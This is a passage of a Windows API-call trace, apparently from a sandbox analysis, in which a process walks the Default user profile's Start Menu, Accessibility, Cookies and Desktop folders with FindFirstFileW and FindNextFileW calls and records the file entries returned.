ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0219.876] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.876] FindClose (in: hFindFile=0x1d1f50b0 | out: hFindFile=0x1d1f50b0) returned 1 [0219.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.876] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x46 [0219.877] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0219.878] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.878] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 0 [0219.879] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0219.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.880] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x46 [0219.881] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4570 [0219.882] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0219.883] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.883] FindClose (in: hFindFile=0x1d1f4570 | out: hFindFile=0x1d1f4570) returned 1 [0219.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9b930) returned 1 [0219.884] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", nBufferLength=0x105, lpBuffer=0x1db9b410, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", lpFilePart=0x0) returned 0x54 [0219.884] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\*"), lpFindFileData=0x1db9b640 | out: lpFindFileData=0x1db9b640*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4cf0 [0219.885] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.885] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0219.885] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18863489, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x18863489, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x18863489, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0219.885] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188896e8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x188896e8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x188896e8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Narrator.lnk", cAlternateFileName="")) returned 1 [0219.886] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1870bf67, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1870bf67, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1870bf67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="")) returned 1 [0219.886] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.886] FindClose (in: hFindFile=0x1d1f4cf0 | out: hFindFile=0x1d1f4cf0) returned 1 [0219.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9b860) returned 1 [0219.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9b820) returned 1 [0219.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9b930) returned 1 [0219.886] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", nBufferLength=0x105, lpBuffer=0x1db9b410, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", lpFilePart=0x0) returned 0x54 [0219.886] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\*"), lpFindFileData=0x1db9b640 | out: lpFindFileData=0x1db9b640*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0219.886] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.887] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0219.887] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1db9b600 | out: lpFindFileData=0x1db9b600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18863489, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x18863489, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x18863489, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0220.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.013] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Application Data", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Application Data", lpFilePart=0x0) returned 0x21 [0220.013] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*" (normalized: "c:\\users\\default\\application data\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.016] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies", lpFilePart=0x0) returned 0x18 [0220.017] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*" (normalized: "c:\\users\\default\\cookies\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.019] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies", lpFilePart=0x0) returned 0x18 [0220.019] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*" (normalized: "c:\\users\\default\\cookies\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.021] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0220.021] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*" (normalized: "c:\\users\\default\\desktop\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4450 [0220.022] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.022] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.022] FindClose (in: hFindFile=0x1d1f4450 | out: hFindFile=0x1d1f4450) returned 1 [0220.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.023] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0220.023] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*" (normalized: "c:\\users\\default\\desktop\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4210 [0220.023] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.023] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, 